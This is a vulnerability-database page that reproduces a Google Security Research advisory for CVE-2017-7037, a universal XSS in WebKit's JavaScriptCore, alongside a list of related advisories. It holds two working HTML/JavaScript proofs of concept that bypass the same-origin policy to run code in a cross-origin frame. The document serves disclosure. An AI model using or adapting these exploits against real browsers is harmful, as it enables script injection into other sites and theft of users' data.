WebKit JSC JSObject::putInlineSlow / JSValue::putToPrimitive XSS

🗓️ 25 Jul 2017 00:00:00Reported by Google Security ResearchType

packetstorm🔗 packetstormsecurity.com👁 43 Views

WebKit JSC UXSS via JSObject putInlineSlow and JSValue putToPrimitive CVE-2017-703

Reporter	Title	Published	Views	Family All 72
FreeBSD	webkit2-gtk3 -- multiple vulnerabilities	24 Jul 201700:00	–	freebsd
0day.today	WebKit JSC JSObject::putInlineSlow / JSValue::putToPrimitive XSS Vulnerability	25 Jul 201700:00	–	zdt
Tenable Nessus	Safari < 10.1.2 Multiple Vulnerabilities	27 Jul 201700:00	–	nessus
Tenable Nessus	Apple iOS < 10.3.3 Multiple Vulnerabilities	27 Jul 201700:00	–	nessus
Tenable Nessus	iTunes < 12.6.2 Multiple Vulnerabilities	27 Jul 201700:00	–	nessus
Tenable Nessus	Apple TV < 10.2.2 Multiple Vulnerabilities	28 Jul 201700:00	–	nessus
Tenable Nessus	Apple iOS < 10.3.3 Multiple Vulnerabilities	25 Jul 201700:00	–	nessus
Tenable Nessus	Fedora 26 : webkitgtk4 (2017-24bddb96b5)	28 Jul 201700:00	–	nessus
Tenable Nessus	Fedora 25 : webkitgtk4 (2017-73d6a0dfbb)	31 Jul 201700:00	–	nessus
Tenable Nessus	Fedora 24 : webkitgtk4 (2017-9d572cc64a)	11 Aug 201700:00	–	nessus

`WebKit: JSC: UXSS via JSObject::putInlineSlow and JSValue::putToPrimitive   
  
CVE-2017-7037  
  
  
JSObject::putInlineSlow and JSValue::putToPrimitive use getPrototypeDirect instead of getPrototype to get an object's prototype. So JSDOMWindow::getPrototype which checks the Same Origin Policy is not called.  
  
The PoC shows to call a setter of another origin's object.  
  
PoC 1 - JSValue::putToPrimitive:  
<body>  
<script>  
  
let f = document.body.appendChild(document.createElement('iframe'));  
let loc = f.contentWindow.location;  
f.onload = () => {  
let a = 1.2;  
a.__proto__.__proto__ = f.contentWindow;  
  
a['test'] = {toString: function () {  
arguments.callee.caller.constructor('alert(location)')();  
}};  
};  
f.src = 'data:text/html,' + `<iframe></iframe><script>  
Object.prototype.__defineSetter__('test', v => {  
'a' + v;  
});  
  
</scrip` + `t>`;  
  
</script>  
</body>  
  
  
PoC 2 - JSObject::putInlineSlow:  
<body>  
<script>  
  
let f = document.body.appendChild(document.createElement('iframe'));  
let loc = f.contentWindow.location;  
f.onload = () => {  
let a = {  
__proto__: f.contentWindow  
};  
  
a['test'] = {toString: function () {  
arguments.callee.caller.constructor('alert(location)')();  
}};  
};  
f.src = 'data:text/html,' + `<iframe></iframe><script>  
Object.prototype.__defineSetter__('test', v => {  
'a' + v;  
});  
  
</scrip` + `t>`;  
</script>  
</body>  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

25 Jul 2017 00:00Current

7.6High risk

Vulners AI Score7.6

EPSS0.03473